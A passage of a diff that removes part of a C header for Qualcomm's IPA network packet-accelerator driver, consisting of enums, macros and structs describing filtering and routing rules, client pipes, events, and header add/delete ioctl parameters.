-#define IPA_FLT_FLOW_LABEL (1ul << 12)
-#define IPA_FLT_NEXT_HDR (1ul << 13)
-#define IPA_FLT_META_DATA (1ul << 14)
-#define IPA_FLT_FRAGMENT (1ul << 15)
-#define IPA_FLT_TOS_MASKED (1ul << 16)
-#define IPA_FLT_MAC_SRC_ADDR_ETHER_II (1ul << 17)
-#define IPA_FLT_MAC_DST_ADDR_ETHER_II (1ul << 18)
-#define IPA_FLT_MAC_SRC_ADDR_802_3 (1ul << 19)
-#define IPA_FLT_MAC_DST_ADDR_802_3 (1ul << 20)
-#define IPA_FLT_MAC_ETHER_TYPE (1ul << 21)
-
-/**
- * enum ipa_client_type - names for the various IPA "clients"
- * these are from the perspective of the clients, for e.g.
- * HSIC1_PROD means HSIC client is the producer and IPA is the
- * consumer
- */
-enum ipa_client_type {
- IPA_CLIENT_PROD,
- IPA_CLIENT_HSIC1_PROD = IPA_CLIENT_PROD,
- IPA_CLIENT_WLAN1_PROD,
- IPA_CLIENT_HSIC2_PROD,
- IPA_CLIENT_USB2_PROD,
- IPA_CLIENT_HSIC3_PROD,
- IPA_CLIENT_USB3_PROD,
- IPA_CLIENT_HSIC4_PROD,
- IPA_CLIENT_USB4_PROD,
- IPA_CLIENT_HSIC5_PROD,
- IPA_CLIENT_USB_PROD,
- IPA_CLIENT_A5_WLAN_AMPDU_PROD,
- IPA_CLIENT_A2_EMBEDDED_PROD,
- IPA_CLIENT_A2_TETHERED_PROD,
- IPA_CLIENT_APPS_LAN_WAN_PROD,
- IPA_CLIENT_APPS_CMD_PROD,
- IPA_CLIENT_ODU_PROD,
- IPA_CLIENT_MHI_PROD,
- IPA_CLIENT_Q6_LAN_PROD,
- IPA_CLIENT_Q6_WAN_PROD,
- IPA_CLIENT_Q6_CMD_PROD,
- IPA_CLIENT_MEMCPY_DMA_SYNC_PROD,
- IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD,
- IPA_CLIENT_Q6_DECOMP_PROD,
- IPA_CLIENT_Q6_DECOMP2_PROD,
- IPA_CLIENT_UC_USB_PROD,
-
- /* Below PROD client type is only for test purpose */
- IPA_CLIENT_TEST_PROD,
- IPA_CLIENT_TEST1_PROD,
- IPA_CLIENT_TEST2_PROD,
- IPA_CLIENT_TEST3_PROD,
- IPA_CLIENT_TEST4_PROD,
-
- IPA_CLIENT_CONS,
- IPA_CLIENT_HSIC1_CONS = IPA_CLIENT_CONS,
- IPA_CLIENT_WLAN1_CONS,
- IPA_CLIENT_HSIC2_CONS,
- IPA_CLIENT_USB2_CONS,
- IPA_CLIENT_WLAN2_CONS,
- IPA_CLIENT_HSIC3_CONS,
- IPA_CLIENT_USB3_CONS,
- IPA_CLIENT_WLAN3_CONS,
- IPA_CLIENT_HSIC4_CONS,
- IPA_CLIENT_USB4_CONS,
- IPA_CLIENT_WLAN4_CONS,
- IPA_CLIENT_HSIC5_CONS,
- IPA_CLIENT_USB_CONS,
- IPA_CLIENT_USB_DPL_CONS,
- IPA_CLIENT_A2_EMBEDDED_CONS,
- IPA_CLIENT_A2_TETHERED_CONS,
- IPA_CLIENT_A5_LAN_WAN_CONS,
- IPA_CLIENT_APPS_LAN_CONS,
- IPA_CLIENT_APPS_WAN_CONS,
- IPA_CLIENT_ODU_EMB_CONS,
- IPA_CLIENT_ODU_TETH_CONS,
- IPA_CLIENT_MHI_CONS,
- IPA_CLIENT_Q6_LAN_CONS,
- IPA_CLIENT_Q6_WAN_CONS,
- IPA_CLIENT_Q6_DUN_CONS,
- IPA_CLIENT_MEMCPY_DMA_SYNC_CONS,
- IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS,
- IPA_CLIENT_Q6_DECOMP_CONS,
- IPA_CLIENT_Q6_DECOMP2_CONS,
- IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS,
- /* Below CONS client type is only for test purpose */
- IPA_CLIENT_TEST_CONS,
- IPA_CLIENT_TEST1_CONS,
- IPA_CLIENT_TEST2_CONS,
- IPA_CLIENT_TEST3_CONS,
- IPA_CLIENT_TEST4_CONS,
-
- IPA_CLIENT_MAX,
-};
-
-#define IPA_CLIENT_IS_APPS_CONS(client) \
- ((client) == IPA_CLIENT_APPS_LAN_CONS || \
- (client) == IPA_CLIENT_APPS_WAN_CONS)
-
-#define IPA_CLIENT_IS_USB_CONS(client) \
- ((client) == IPA_CLIENT_USB_CONS || \
- (client) == IPA_CLIENT_USB2_CONS || \
- (client) == IPA_CLIENT_USB3_CONS || \
- (client) == IPA_CLIENT_USB_DPL_CONS || \
- (client) == IPA_CLIENT_USB4_CONS)
-
-#define IPA_CLIENT_IS_WLAN_CONS(client) \
- ((client) == IPA_CLIENT_WLAN1_CONS || \
- (client) == IPA_CLIENT_WLAN2_CONS || \
- (client) == IPA_CLIENT_WLAN3_CONS || \
- (client) == IPA_CLIENT_WLAN4_CONS)
-
-#define IPA_CLIENT_IS_ODU_CONS(client) \
- ((client) == IPA_CLIENT_ODU_EMB_CONS || \
- (client) == IPA_CLIENT_ODU_TETH_CONS)
-
-#define IPA_CLIENT_IS_Q6_CONS(client) \
- ((client) == IPA_CLIENT_Q6_LAN_CONS || \
- (client) == IPA_CLIENT_Q6_WAN_CONS || \
- (client) == IPA_CLIENT_Q6_DUN_CONS || \
- (client) == IPA_CLIENT_Q6_DECOMP_CONS || \
- (client) == IPA_CLIENT_Q6_DECOMP2_CONS || \
- (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_PROD(client) \
- ((client) == IPA_CLIENT_Q6_LAN_PROD || \
- (client) == IPA_CLIENT_Q6_WAN_PROD || \
- (client) == IPA_CLIENT_Q6_CMD_PROD || \
- (client) == IPA_CLIENT_Q6_DECOMP_PROD || \
- (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_CONS(client) \
- ((client) == IPA_CLIENT_Q6_LAN_CONS || \
- (client) == IPA_CLIENT_Q6_WAN_CONS || \
- (client) == IPA_CLIENT_Q6_DUN_CONS || \
- (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_ZIP_CONS(client) \
- ((client) == IPA_CLIENT_Q6_DECOMP_CONS || \
- (client) == IPA_CLIENT_Q6_DECOMP2_CONS)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_PROD(client) \
- ((client) == IPA_CLIENT_Q6_LAN_PROD || \
- (client) == IPA_CLIENT_Q6_WAN_PROD || \
- (client) == IPA_CLIENT_Q6_CMD_PROD)
-
-#define IPA_CLIENT_IS_Q6_ZIP_PROD(client) \
- ((client) == IPA_CLIENT_Q6_DECOMP_PROD || \
- (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_CONS(client) \
- ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_CONS || \
- (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_PROD(client) \
- ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_PROD || \
- (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD)
-
-#define IPA_CLIENT_IS_MHI_CONS(client) \
- ((client) == IPA_CLIENT_MHI_CONS)
-
-#define IPA_CLIENT_IS_MHI(client) \
- ((client) == IPA_CLIENT_MHI_CONS || \
- (client) == IPA_CLIENT_MHI_PROD)
-
-#define IPA_CLIENT_IS_TEST_PROD(client) \
- ((client) == IPA_CLIENT_TEST_PROD || \
- (client) == IPA_CLIENT_TEST1_PROD || \
- (client) == IPA_CLIENT_TEST2_PROD || \
- (client) == IPA_CLIENT_TEST3_PROD || \
- (client) == IPA_CLIENT_TEST4_PROD)
-
-#define IPA_CLIENT_IS_TEST_CONS(client) \
- ((client) == IPA_CLIENT_TEST_CONS || \
- (client) == IPA_CLIENT_TEST1_CONS || \
- (client) == IPA_CLIENT_TEST2_CONS || \
- (client) == IPA_CLIENT_TEST3_CONS || \
- (client) == IPA_CLIENT_TEST4_CONS)
-
-#define IPA_CLIENT_IS_TEST(client) \
- (IPA_CLIENT_IS_TEST_PROD(client) || IPA_CLIENT_IS_TEST_CONS(client))
-
-/**
- * enum ipa_ip_type - Address family: IPv4 or IPv6
- */
-enum ipa_ip_type {
- IPA_IP_v4,
- IPA_IP_v6,
- IPA_IP_MAX
-};
-
-/**
- * enum ipa_rule_type - Type of routing or filtering rule
- * Hashable: Rule will be located at the hashable tables
- * Non_Hashable: Rule will be located at the non-hashable tables
- */
-enum ipa_rule_type {
- IPA_RULE_HASHABLE,
- IPA_RULE_NON_HASHABLE,
- IPA_RULE_TYPE_MAX
-};
-
-/**
- * enum ipa_flt_action - action field of filtering rule
- *
- * Pass to routing: 5'd0
- * Pass to source NAT: 5'd1
- * Pass to destination NAT: 5'd2
- * Pass to default output pipe (e.g., Apps or Modem): 5'd3
- */
-enum ipa_flt_action {
- IPA_PASS_TO_ROUTING,
- IPA_PASS_TO_SRC_NAT,
- IPA_PASS_TO_DST_NAT,
- IPA_PASS_TO_EXCEPTION
-};
-
-/**
- * enum ipa_wlan_event - Events for wlan client
- *
- * wlan client connect: New wlan client connected
- * wlan client disconnect: wlan client disconnected
- * wlan client power save: wlan client moved to power save
- * wlan client normal: wlan client moved out of power save
- * sw routing enable: ipa routing is disabled
- * sw routing disable: ipa routing is enabled
- * wlan ap connect: wlan AP(access point) is up
- * wlan ap disconnect: wlan AP(access point) is down
- * wlan sta connect: wlan STA(station) is up
- * wlan sta disconnect: wlan STA(station) is down
- * wlan client connect ex: new wlan client connected
- * wlan scc switch: wlan interfaces in scc mode
- * wlan mcc switch: wlan interfaces in mcc mode
- * wlan wdi enable: wdi data path completed
- * wlan wdi disable: wdi data path teardown
- */
-enum ipa_wlan_event {
- WLAN_CLIENT_CONNECT,
- WLAN_CLIENT_DISCONNECT,
- WLAN_CLIENT_POWER_SAVE_MODE,
- WLAN_CLIENT_NORMAL_MODE,
- SW_ROUTING_ENABLE,
- SW_ROUTING_DISABLE,
- WLAN_AP_CONNECT,
- WLAN_AP_DISCONNECT,
- WLAN_STA_CONNECT,
- WLAN_STA_DISCONNECT,
- WLAN_CLIENT_CONNECT_EX,
- WLAN_SWITCH_TO_SCC,
- WLAN_SWITCH_TO_MCC,
- WLAN_WDI_ENABLE,
- WLAN_WDI_DISABLE,
- IPA_WLAN_EVENT_MAX
-};
-
-/**
- * enum ipa_wan_event - Events for wan client
- *
- * wan default route add/del
- * wan embms connect: New wan embms interface connected
- */
-enum ipa_wan_event {
- WAN_UPSTREAM_ROUTE_ADD = IPA_WLAN_EVENT_MAX,
- WAN_UPSTREAM_ROUTE_DEL,
- WAN_EMBMS_CONNECT,
- WAN_XLAT_CONNECT,
- IPA_WAN_EVENT_MAX
-};
-
-enum ipa_ecm_event {
- ECM_CONNECT = IPA_WAN_EVENT_MAX,
- ECM_DISCONNECT,
- IPA_ECM_EVENT_MAX,
-};
-
-enum ipa_tethering_stats_event {
- IPA_TETHERING_STATS_UPDATE_STATS = IPA_ECM_EVENT_MAX,
- IPA_TETHERING_STATS_UPDATE_NETWORK_STATS,
- IPA_TETHERING_STATS_EVENT_MAX,
- IPA_EVENT_MAX_NUM = IPA_TETHERING_STATS_EVENT_MAX
-};
-
-#define IPA_EVENT_MAX ((int)IPA_EVENT_MAX_NUM)
-
-/**
- * enum ipa_rm_resource_name - IPA RM clients identification names
- *
- * Add new mapping to ipa_rm_prod_index() / ipa_rm_cons_index()
- * when adding new entry to this enum.
- */
-enum ipa_rm_resource_name {
- IPA_RM_RESOURCE_PROD = 0,
- IPA_RM_RESOURCE_Q6_PROD = IPA_RM_RESOURCE_PROD,
- IPA_RM_RESOURCE_USB_PROD,
- IPA_RM_RESOURCE_USB_DPL_DUMMY_PROD,
- IPA_RM_RESOURCE_HSIC_PROD,
- IPA_RM_RESOURCE_STD_ECM_PROD,
- IPA_RM_RESOURCE_RNDIS_PROD,
- IPA_RM_RESOURCE_WWAN_0_PROD,
- IPA_RM_RESOURCE_WLAN_PROD,
- IPA_RM_RESOURCE_ODU_ADAPT_PROD,
- IPA_RM_RESOURCE_MHI_PROD,
- IPA_RM_RESOURCE_PROD_MAX,
-
- IPA_RM_RESOURCE_Q6_CONS = IPA_RM_RESOURCE_PROD_MAX,
- IPA_RM_RESOURCE_USB_CONS,
- IPA_RM_RESOURCE_USB_DPL_CONS,
- IPA_RM_RESOURCE_HSIC_CONS,
- IPA_RM_RESOURCE_WLAN_CONS,
- IPA_RM_RESOURCE_APPS_CONS,
- IPA_RM_RESOURCE_ODU_ADAPT_CONS,
- IPA_RM_RESOURCE_MHI_CONS,
- IPA_RM_RESOURCE_MAX
-};
-
-/**
- * enum ipa_hw_type - IPA hardware version type
- * @IPA_HW_None: IPA hardware version not defined
- * @IPA_HW_v1_0: IPA hardware version 1.0
- * @IPA_HW_v1_1: IPA hardware version 1.1
- * @IPA_HW_v2_0: IPA hardware version 2.0
- * @IPA_HW_v2_1: IPA hardware version 2.1
- * @IPA_HW_v2_5: IPA hardware version 2.5
- * @IPA_HW_v2_6: IPA hardware version 2.6
- * @IPA_HW_v2_6L: IPA hardware version 2.6L
- * @IPA_HW_v3_0: IPA hardware version 3.0
- */
-enum ipa_hw_type {
- IPA_HW_None = 0,
- IPA_HW_v1_0 = 1,
- IPA_HW_v1_1 = 2,
- IPA_HW_v2_0 = 3,
- IPA_HW_v2_1 = 4,
- IPA_HW_v2_5 = 5,
- IPA_HW_v2_6 = IPA_HW_v2_5,
- IPA_HW_v2_6L = 6,
- IPA_HW_v3_0 = 10,
- IPA_HW_v3_1 = 11,
- IPA_HW_MAX
-};
-
-/**
- * struct ipa_rule_attrib - attributes of a routing/filtering
- * rule, all in LE
- * @attrib_mask: what attributes are valid
- * @src_port_lo: low port of src port range
- * @src_port_hi: high port of src port range
- * @dst_port_lo: low port of dst port range
- * @dst_port_hi: high port of dst port range
- * @type: ICMP/IGMP type
- * @code: ICMP/IGMP code
- * @spi: IPSec SPI
- * @src_port: exact src port
- * @dst_port: exact dst port
- * @meta_data: meta-data val
- * @meta_data_mask: meta-data mask
- * @u.v4.tos: type of service
- * @u.v4.protocol: protocol
- * @u.v4.src_addr: src address value
- * @u.v4.src_addr_mask: src address mask
- * @u.v4.dst_addr: dst address value
- * @u.v4.dst_addr_mask: dst address mask
- * @u.v6.tc: traffic class
- * @u.v6.flow_label: flow label
- * @u.v6.next_hdr: next header
- * @u.v6.src_addr: src address val
- * @u.v6.src_addr_mask: src address mask
- * @u.v6.dst_addr: dst address val
- * @u.v6.dst_addr_mask: dst address mask
- */
-struct ipa_rule_attrib {
- uint32_t attrib_mask;
- uint16_t src_port_lo;
- uint16_t src_port_hi;
- uint16_t dst_port_lo;
- uint16_t dst_port_hi;
- uint8_t type;
- uint8_t code;
- uint8_t tos_value;
- uint8_t tos_mask;
- uint32_t spi;
- uint16_t src_port;
- uint16_t dst_port;
- uint32_t meta_data;
- uint32_t meta_data_mask;
- uint8_t src_mac_addr[ETH_ALEN];
- uint8_t src_mac_addr_mask[ETH_ALEN];
- uint8_t dst_mac_addr[ETH_ALEN];
- uint8_t dst_mac_addr_mask[ETH_ALEN];
- uint16_t ether_type;
- union {
- struct {
- uint8_t tos;
- uint8_t protocol;
- uint32_t src_addr;
- uint32_t src_addr_mask;
- uint32_t dst_addr;
- uint32_t dst_addr_mask;
- } v4;
- struct {
- uint8_t tc;
- uint32_t flow_label;
- uint8_t next_hdr;
- uint32_t src_addr[4];
- uint32_t src_addr_mask[4];
- uint32_t dst_addr[4];
- uint32_t dst_addr_mask[4];
- } v6;
- } u;
-};
-
-/*! @brief The maximum number of Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of IHL offset Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of Mask Equal 128 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_128_EQNS 2
-
-/*! @brief The maximum number of IHL offset Range Check 16 Eqns */
-#define IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS 2
-
-/*! @brief Offset and 16 bit comparison equation */
-struct ipa_ipfltr_eq_16 {
- int8_t offset;
- uint16_t value;
-};
-
-/*! @brief Offset and 32 bit comparison equation */
-struct ipa_ipfltr_eq_32 {
- int8_t offset;
- uint32_t value;
-};
-
-/*! @brief Offset and 128 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_128 {
- int8_t offset;
- uint8_t mask[16];
- uint8_t value[16];
-};
-
-/*! @brief Offset and 32 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_32 {
- int8_t offset;
- uint32_t mask;
- uint32_t value;
-};
-
-/*! @brief Equation for identifying a range. Ranges are inclusive */
-struct ipa_ipfltr_range_eq_16 {
- int8_t offset;
- uint16_t range_low;
- uint16_t range_high;
-};
-
-/*! @brief Rule equations which are set according to DS filter installation */
-struct ipa_ipfltri_rule_eq {
- /*! 16-bit Bitmask to indicate how many eqs are valid in this rule */
- uint16_t rule_eq_bitmap;
- /*! Specifies if a type of service check rule is present */
- uint8_t tos_eq_present;
- /*! The value to check against the type of service (ipv4) field */
- uint8_t tos_eq;
- /*! Specifies if a protocol check rule is present */
- uint8_t protocol_eq_present;
- /*! The value to check against the protocol (ipv6) field */
- uint8_t protocol_eq;
- /*! The number of ip header length offset 16 bit range check
- * rules in this rule */
- uint8_t num_ihl_offset_range_16;
- /*! An array of the registered ip header length offset 16 bit
- * range check rules */
- struct ipa_ipfltr_range_eq_16
- ihl_offset_range_16[IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS];
- /*! The number of mask equal 32 rules present in this rule */
- uint8_t num_offset_meq_32;
- /*! An array of all the possible mask equal 32 rules in this rule */
- struct ipa_ipfltr_mask_eq_32
- offset_meq_32[IPA_IPFLTR_NUM_MEQ_32_EQNS];
- /*! Specifies if the traffic class rule is present in this rule */
- uint8_t tc_eq_present;
- /*! The value to check the traffic class (ipv4) field against */
- uint8_t tc_eq;
- /*! Specifies if the flow equals rule is present in this rule */
- uint8_t fl_eq_present;
- /*! The value to check the flow (ipv6) field against */
- uint32_t fl_eq;
- /*! The number of ip header length offset 16 bit equations in this
- * rule */
- uint8_t ihl_offset_eq_16_present;
- /*! The ip header length offset 16 bit equation */
- struct ipa_ipfltr_eq_16 ihl_offset_eq_16;
- /*! The number of ip header length offset 32 bit equations in this
- * rule */
- uint8_t ihl_offset_eq_32_present;
- /*! The ip header length offset 32 bit equation */
- struct ipa_ipfltr_eq_32 ihl_offset_eq_32;
- /*! The number of ip header length offset 32 bit mask equations in
- * this rule */
- uint8_t num_ihl_offset_meq_32;
- /*! The ip header length offset 32 bit mask equation */
- struct ipa_ipfltr_mask_eq_32
- ihl_offset_meq_32[IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS];
- /*! The number of ip header length offset 128 bit equations in this
- * rule */
- uint8_t num_offset_meq_128;
- /*! The ip header length offset 128 bit equation */
- struct ipa_ipfltr_mask_eq_128
- offset_meq_128[IPA_IPFLTR_NUM_MEQ_128_EQNS];
- /*! The metadata 32 bit masked comparison equation present or not */
- /* Metadata based rules are added internally by IPA driver */
- uint8_t metadata_meq32_present;
- /*! The metadata 32 bit masked comparison equation */
- struct ipa_ipfltr_mask_eq_32 metadata_meq32;
- /*! Specifies if the Fragment equation is present in this rule */
- uint8_t ipv4_frag_eq_present;
-};
-
-/**
- * struct ipa_flt_rule - attributes of a filtering rule
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- * the header removed as part of header removal
- * @to_uc: bool switch to pass packet to micro-controller
- * @action: action field
- * @rt_tbl_hdl: handle of table from "get"
- * @attrib: attributes of the rule
- * @eq_attrib: attributes of the rule in equation form (valid when
- * eq_attrib_type is true)
- * @rt_tbl_idx: index of RT table referred to by filter rule (valid when
- * eq_attrib_type is true and non-exception action)
- * @eq_attrib_type: true if equation level form used to specify attributes
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- * IPA will use the rule and will not look for other rules that may have
- * higher priority
- * @hashable: bool switch. is this rule hashable or not?
- * ipa uses hashable rules to cache their hit results to be used in
- * consecutive packets
- * @rule_id: rule_id to be assigned to the filter rule. In case client specifies
- * rule_id as 0 the driver will assign a new rule_id
- */
-struct ipa_flt_rule {
- uint8_t retain_hdr;
- uint8_t to_uc;
- enum ipa_flt_action action;
- uint32_t rt_tbl_hdl;
- struct ipa_rule_attrib attrib;
- struct ipa_ipfltri_rule_eq eq_attrib;
- uint32_t rt_tbl_idx;
- uint8_t eq_attrib_type;
- uint8_t max_prio;
- uint8_t hashable;
- uint16_t rule_id;
-};
-
-/**
- * enum ipa_hdr_l2_type - L2 header type
- * IPA_HDR_L2_NONE: L2 header which isn't Ethernet II and isn't 802_3
- * IPA_HDR_L2_ETHERNET_II: L2 header of type Ethernet II
- * IPA_HDR_L2_802_3: L2 header of type 802_3
- */
-enum ipa_hdr_l2_type {
- IPA_HDR_L2_NONE,
- IPA_HDR_L2_ETHERNET_II,
- IPA_HDR_L2_802_3,
- IPA_HDR_L2_MAX,
-};
-
-/**
- * enum ipa_hdr_l2_type - Processing context type
- * IPA_HDR_PROC_NONE: No processing context
- * IPA_HDR_PROC_ETHII_TO_ETHII: Process Ethernet II to Ethernet II
- * IPA_HDR_PROC_ETHII_TO_802_3: Process Ethernet II to 802_3
- * IPA_HDR_PROC_802_3_TO_ETHII: Process 802_3 to Ethernet II
- * IPA_HDR_PROC_802_3_TO_802_3: Process 802_3 to 802_3
- */
-enum ipa_hdr_proc_type {
- IPA_HDR_PROC_NONE,
- IPA_HDR_PROC_ETHII_TO_ETHII,
- IPA_HDR_PROC_ETHII_TO_802_3,
- IPA_HDR_PROC_802_3_TO_ETHII,
- IPA_HDR_PROC_802_3_TO_802_3,
- IPA_HDR_PROC_MAX,
-};
-
-/**
- * struct ipa_rt_rule - attributes of a routing rule
- * @dst: dst "client"
- * @hdr_hdl: handle to the dynamic header
- it is not an index or an offset
- * @hdr_proc_ctx_hdl: handle to header processing context. if it is provided
- hdr_hdl shall be 0
- * @attrib: attributes of the rule
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- * IPA will use the rule and will not look for other rules that may have
- * higher priority
- * @hashable: bool switch. is this rule hashable or not?
- * ipa uses hashable rules to cache their hit results to be used in
- * consecutive packets
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- * the header removed as part of header removal
- */
-struct ipa_rt_rule {
- enum ipa_client_type dst;
- uint32_t hdr_hdl;
- uint32_t hdr_proc_ctx_hdl;
- struct ipa_rule_attrib attrib;
- uint8_t max_prio;
- uint8_t hashable;
- uint8_t retain_hdr;
-};
-
-/**
- * struct ipa_hdr_add - header descriptor includes in and out
- * parameters
- * @name: name of the header
- * @hdr: actual header to be inserted
- * @hdr_len: size of above header
- * @type: l2 header type
- * @is_partial: header not fully specified
- * @hdr_hdl: out parameter, handle to header, valid when status is 0
- * @status: out parameter, status of header add operation,
- * 0 for success,
- * -1 for failure
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_hdr_add {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t hdr[IPA_HDR_MAX_SIZE];
- uint8_t hdr_len;
- enum ipa_hdr_l2_type type;
- uint8_t is_partial;
- uint32_t hdr_hdl;
- int status;
- uint8_t is_eth2_ofst_valid;
- uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_add_hdr - header addition parameters (support
- * multiple headers and commit)
- * @commit: should headers be written to IPA HW also?
- * @num_hdrs: num of headers that follow
- * @ipa_hdr_add hdr: all headers need to go here back to
- * back, no pointers
- */
-struct ipa_ioc_add_hdr {
- uint8_t commit;
- uint8_t num_hdrs;
- struct ipa_hdr_add hdr[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_add - processing context descriptor includes
- * in and out parameters
- * @type: processing context type
- * @hdr_hdl: in parameter, handle to header
- * @proc_ctx_hdl: out parameter, handle to proc_ctx, valid when status is 0
- * @status: out parameter, status of header add operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_hdr_proc_ctx_add {
- enum ipa_hdr_proc_type type;
- uint32_t hdr_hdl;
- uint32_t proc_ctx_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_add_hdr - processing context addition parameters (support
- * multiple processing context and commit)
- * @commit: should processing context be written to IPA HW also?
- * @num_proc_ctxs: num of processing context that follow
- * @proc_ctx: all processing context need to go here back to
- * back, no pointers
- */
-struct ipa_ioc_add_hdr_proc_ctx {
- uint8_t commit;
- uint8_t num_proc_ctxs;
- struct ipa_hdr_proc_ctx_add proc_ctx[0];
-};
-
-/**
- * struct ipa_ioc_copy_hdr - retrieve a copy of the specified
- * header - caller can then derive the complete header
- * @name: name of the header resource
- * @hdr: out parameter, contents of specified header,
- * valid only when ioctl return val is non-negative
- * @hdr_len: out parameter, size of above header
- * valid only when ioctl return val is non-negative
- * @type: l2 header type
- * valid only when ioctl return val is non-negative
- * @is_partial: out parameter, indicates whether specified header is partial
- * valid only when ioctl return val is non-negative
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_ioc_copy_hdr {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t hdr[IPA_HDR_MAX_SIZE];
- uint8_t hdr_len;
- enum ipa_hdr_l2_type type;
- uint8_t is_partial;
- uint8_t is_eth2_ofst_valid;
- uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_get_hdr - header entry lookup parameters, if lookup was
- * successful caller must call put to release the reference count when done
- * @name: name of the header resource
- * @hdl: out parameter, handle of header entry
- * valid only when ioctl return val is non-negative
- */
-struct ipa_ioc_get_hdr {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t hdl;
-};
-
-/**
- * struct ipa_hdr_del - header descriptor includes in and out
- * parameters
- *
- * @hdl: handle returned from header add operation
- * @status: out parameter, status of header remove operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_hdr_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_del_hdr - header deletion parameters (support
- * multiple headers and commit)
- * @commit: should headers be removed from IPA HW also?
- * @num_hdls: num of headers being removed
- * @ipa_hdr_del hdl: all handles need to go here back to back, no pointers
- */
-struct ipa_ioc_del_hdr {
- uint8_t commit;
- uint8_t num_hdls;
- struct ipa_hdr_del hdl[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_del - processing context descriptor includes
- * in and out parameters
- * @hdl: handle returned from processing context add operation
- * @status: out parameter, status of header remove operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_hdr_proc_ctx_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * ipa_ioc_del_hdr_proc_ctx - processing context deletion parameters (support
- * multiple headers and commit)
- * @commit: should processing contexts be removed from IPA HW also?
- * @num_hdls: num of processing contexts being removed
- * @ipa_hdr_proc_ctx_del hdl: all handles need to go here back to back,
- * no pointers
- */
-struct ipa_ioc_del_hdr_proc_ctx {
- uint8_t commit;
- uint8_t num_hdls;
- struct ipa_hdr_proc_ctx_del hdl[0];
-};
-
-/**
- * struct ipa_rt_rule_add - routing rule descriptor includes in
- * and out parameters
- * @rule: actual rule to be added
- * @at_rear: add at back of routing table, it is NOT possible to add rules at
- * the rear of the "default" routing tables
- * @rt_rule_hdl: output parameter, handle to rule, valid when status is 0
- * @status: output parameter, status of routing rule add operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_rt_rule_add {
- struct ipa_rt_rule rule;
- uint8_t at_rear;
- uint32_t rt_rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_add_rt_rule - routing rule addition parameters (supports
- * multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_rt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
- uint8_t num_rules;
- struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_rt_rule_after - routing rule addition after a specific
- * rule parameters(supports multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @add_after_hdl: the rules will be added after this specific rule
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- * at_rear field will be ignored when using this IOCTL
- */
-struct ipa_ioc_add_rt_rule_after {
- uint8_t commit;
- enum ipa_ip_type ip;
- char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
- uint8_t num_rules;
- uint32_t add_after_hdl;
- struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_rt_rule_mdfy - routing rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @rt_rule_hdl: handle to rule which supposed to modify
- * @status: output parameter, status of routing rule modify operation,
- * 0 for success,
- * -1 for failure
- *
- */
-struct ipa_rt_rule_mdfy {
- struct ipa_rt_rule rule;
- uint32_t rt_rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_rt_rule - routing rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of routing rules that follow
